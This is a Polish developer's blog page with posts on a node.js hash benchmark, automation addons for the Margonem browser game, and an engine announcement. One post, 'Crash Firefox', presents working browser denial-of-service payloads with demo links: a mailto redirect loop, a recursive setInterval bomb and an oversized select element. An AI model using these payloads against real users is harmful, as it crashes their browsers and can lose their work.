Jeśli jesteś właścicielem tej strony, możesz wyłączyć reklamę poniżej zmieniając pakiet na PRO lub VIP w panelu naszego hostingu już od 4zł!
RSS

Hash functions benchmark (javascript)

0 Comments | This entry was posted on wrz 22 2013

Test funkcji hashujących opierający się na kodzie napisanym w javascripcie uruchomionym w konsoli node.js

Wyniki:

>node data/benchmark/hash.js

md5 x 62,315 ops/sec +0.40% (101 runs sampled)
sha1 x 143,658 ops/sec +0.31% (99 runs sampled)
murmurhash3 x 2,234,721 ops/sec +0.32% (97 runs sampled)
sha256 x 239,232 ops/sec +2.97% (86 runs sampled)
xxhash x 206,667 ops/sec +3.50% (91 runs sampled)
Fastest is murmurhash3

 

Kod testera: (wymaga biblioteki crypto, xxhash i benchmark)

npm install crypto

npm install xxhash

npm install benchmark

/**
 * Hash functions benchmark (javascript)
 * @author Michał (foxbond) Chraniuk
 *
 * funkcje {md5,sha1,sha256} to najprostsze użycie biblioteki crypto
 * funkcja xxhash pochodzi z biblioteki xxhash wymienionej na oficjalnej stronie tegoż algorytmu
* funkcja murmurhash3 to przepisanie słowo w słowo z implementacji C
*/
var b = require('benchmark');
var crypto = require('crypto');
var xxh = require('xxhash');
var suite = new b.Suite;
// add tests
suite.add('md5', function() {
md5('qwertyuiop[]asdfghjkl;zxcvbnm,1234567890-=');
})
.add('sha1', function() {
sha1('qwertyuiop[]asdfghjkl;zxcvbnm,1234567890-=');
})
.add('murmurhash3', function() {
murmurhash3('qwertyuiop[]asdfghjkl;zxcvbnm,1234567890-=', 123);
})
.add('sha256', function() {
sha256('qwertyuiop[]asdfghjkl;zxcvbnm,1234567890-=', 123);
})
.add('xxhash', function() {
xxhash('qwertyuiop[]asdfghjkl;zxcvbnm,1234567890-=', 123);
})
// add listeners
.on('cycle', function(event) {
console.log(String(event.target));
})
.on('complete', function() {
console.log('Fastest is ' + this.filter('fastest').pluck('name'));
})
// run async
.run({ 'async': true });

sBot – nowy, niezwykle intuicyjny bot do gry internetowej Margonem MMORPG!

0 Comments | This entry was posted on sie 27 2013

Pracuję nad nowym botem do margo. Wszelkie info pod tym linkiem:

sBot – smartBot – nowy, lepszy, szybszy!

Autoheal margonem

0 Comments | This entry was posted on mar 17 2013

Dzięki temu dodatkowi automatycznie się uleczysz.

 

Dodatek robiony na zamówienie.

http://www.margoextend.net/dodatek/15792/autoheal

 

Wpisujesz poniżej jakiej wartości ma leczyć oraz nazwę przedmiotu leczącego. Wszystkie dane są zapisywane gdy zmieniasz mapę!

//(c) 2013 Michał (foxbond) Chraniuk [http://foxbond.cba.pl]
function foxUsePotion(e){for(var t=1;t<=200;t++){for(var n in g.item){if(g.item[n].cl==16&&g.item[n].name==e){if(g.item[n].stat.indexOf("amount")>-1){mCount=g.item[n].stat.replace(/;.*/,"");mCount=mCount.replace("amount=","");if(parseInt(mCount)==t){$("#item"+n).dblclick();return}}else{$("#item"+n).dblclick();return}}}}}function foxAutoHeal(){var e=$("#foxHealInput").val();var t=$("#foxHealInputHp").val();if(hero.hp==hero.maxhp){return}if(hero.hp<t){foxUsePotion(e)}}function foxAutoHealTimeoutFunc(){$("#foxHealInput").val(foxReadCookie("foxAutoHealName"));$("#foxHealInputHp").val(foxReadCookie("foxAutoHealHp"));$("#foxAutoHealBox").draggable();if(foxReadCookie("foxAutoHealRun")=="yes"){if(foxAutoHealIntervalObj!=0){clearInterval(foxAutoHealIntervalObj)}foxAutoHealIntervalObj=setInterval("foxAutoHeal();",300);foxSaveCookie()}else{clearInterval(foxAutoHealIntervalObj)}$("#foxHealStart").click(function(){if(foxAutoHealIntervalObj!=0){clearInterval(foxAutoHealIntervalObj)}foxAutoHealIntervalObj=setInterval("foxAutoHeal();",300);foxSaveCookie()});$("#foxHealStop").click(function(){clearInterval(foxAutoHealIntervalObj)})}function foxStartAutoHeal(){$("body").append('<div style="z-index:1000; width:480px; border:1px brown solid; background-color:rgba(100,220,100,0.7);" id="foxAutoHealBox">Hp:<input type="text" id="foxHealInputHp">Nazwa:<input type="text" id="foxHealInput"><button id="foxHealStart">Start</button><button id="foxHealStop">Stop</button></div>');setTimeout("foxAutoHealTimeoutFunc();",500);foxAutoHeal()}function foxReadCookie(e){var t=""+document.cookie;var n=t.indexOf(e);if(n==-1||e=="")return"";var r=t.indexOf(";",n);if(r==-1)r=t.length;return unescape(t.substring(n+e.length+1,r))}function foxSaveCookie(){var e=$("#foxHealInput").val();var t=$("#foxHealInputHp").val();if(foxAutoHealIntervalObj!=0){var n="yes"}else{var n="no"}expiry=new Date(parseInt((new Date).getTime())*2);document.cookie="foxAutoHealName="+e+";expires="+expiry+";";document.cookie="foxAutoHealHp="+t+";expires="+expiry+";";document.cookie="foxAutoHealRun="+n+";expires="+expiry+";"}var foxAutoHealIntervalObj=0;foxStartAutoHeal();

Auto-zamykanie okienka „przeciwnik walczy z kimś innym”

0 Comments | This entry was posted on mar 16 2013

Taki malutki dodatek zrobiony na zamówienie:

http://www.margoextend.net/dodatek/15790/auto-zamykanie-okienka-przeciwnik-walczy

 

//(c) 2013 Michał (foxbond) Chraniuk [http://foxbond.cba.pl]
function foxHideAlert(){if($("#alert").css("display")=="block"){if($("#alert").children().next().html()=="Przeciwnik walczy z kimś innym!"){$("#alert").hide(0)}}}setInterval("foxHideAlert();",500);

BorderLess Engine

0 Comments | This entry was posted on lut 02 2013

Strona gry: Danarroth

 

Rozpocząłem pracę nad nowym silnikiem.

 

Jest to silnik c++/php/js gry 2D przez przeglądarkę!

 

Strona projektu to:

http://borderless-engine.tk

Bieżące informacje można na fanpage’u na fb:

https://www.facebook.com/BorderlessEngine

 

Poszukuję grafików chętnych wspomóc projekt. Oczywiście wszystko jest non-profit.

„Zcrashuj” Firefoxa

0 Comments | This entry was posted on maj 08 2012

Dawno nic nie publikowałem wiec postanowiłem wrzucić dwa exploity na firefoxa.

Linki celowo nie działają, aby ktoś „przypadkowo” w nie nie wszedł, jeśli chcesz je sprawdzić to zaznacz link i kliknij przejdź do strony

 

Pierwszy z nich:

<html><body onload=”setInterval(function(){location.href=’mailto:a@b.c’},10);” /></html>

demo:  http://foxbond.cba.pl/exp/firefox1.html

 

Drugi:

function x(){for(var r=0;r<100000;r++){var e=setInterval(„x()”,1);}}var d=setInterval(„x()”,1);

demo: http://foxbond.cba.pl/exp/firefox2.html

 

Aktualizacja, Trzeci:

 

function x() {
 
  for(var r=0; r<100000; r++) {
    var e=setInterval("x()", 1);
  }
}
var d=setInterval("x()", 1);

demo: http://foxbond.cba.pl/exp/firefox3.html

 

 

W drugim przypadku przypadku błąd częściowo działa na google chrome.

(Oczywiście) nie odpowiadam za żadne szkody spowodowane działaniem tych błędów!

 

P.S. W przypadku komputerów posiadających dużą ilość RAM-u błędy prawdopodobnie nie będą działać ( RAM > 3GB )

 

P.P.S. Ten powinien działać na wszystkich starych przeglądarkach:

<script> function poc(o) {
e = document.createElement(„select”);
e.length=2147483647; }

function go() { poc(0); } </script>

demo:  http://foxbond.cba.pl/exp/exp1.html

 

Częściowa integracja z facebook-iem

2 Comments | This entry was posted on cze 30 2011

Dzisiaj postanowiłem zintegrować mój „blog” z facebook-iem. Nie jestem fanem tej platfomy, jednak myślę, że pomoże to w zwiększeniu liczby użytkowników mojej strony. CAŁA konfiguracja trwała 7,5h. Początkowo chciałem skorzystać z gotowych wtyczek z oficjalnej strony. Teoretycznie powinno być szybko i wygodnie jednak w praktyce wyglądało to zupełnie inaczej…

Najpierw należało założyć aplikację na facebooku, wszystko szybko i intuicyjnie :D . Potem zaczęły się schody. Łącznie zainstalowałem 45 wtyczek i żadna(!) nie działała tak jak powinna :(

Po 6h żmudnego testowania wybrałem 2 wtyczki:

WordPress Connect do przycisków „lubię to!” i „wyślij” oraz komentarzy (aktualnie nie korzystam)

Simple Facebook Connect z modułem Publish do publikowania postów na tablicy

 

O ile oddzielnie działają wyśmienicie to gdy uruchomię je razem, nie działa żadna…

 

… i tak kolejną 1h zajęło mi modyfikowanie tych wtyczek. Jeśli kogoś interesowały by rezultaty tych działań niech napisze w komentarzach lub na maila.

 

 

P.S. Foxbond Framework już wkrótce!

Automatyczny poszukiwacz herosów

1 Comment | This entry was posted on cze 14 2011

Ulepszyłem mojego poszukiwacza herosów, aby nie trzeba było klikać „=”. Teraz skrypt automatycznie sprawdza czy nie ma herosa co 0.8 s

Dodatek na margoextend

var foxHlast=0;function time(){return Math.floor(new Date().getTime()/1000)}function foxbond_search_heros(){for(var b in g.npc){if(g.npc[b].wt>79&&foxHlast+60>time()){mAlert("Foxbond search heros:Znaleziony heros: "+g.npc[b].nick+"Współrzędne: "+g.npc[b].x+","+g.npc[b].y+"
By foxbond");foxHjest=time()}}}setInterval("foxbond_search_heros();",800);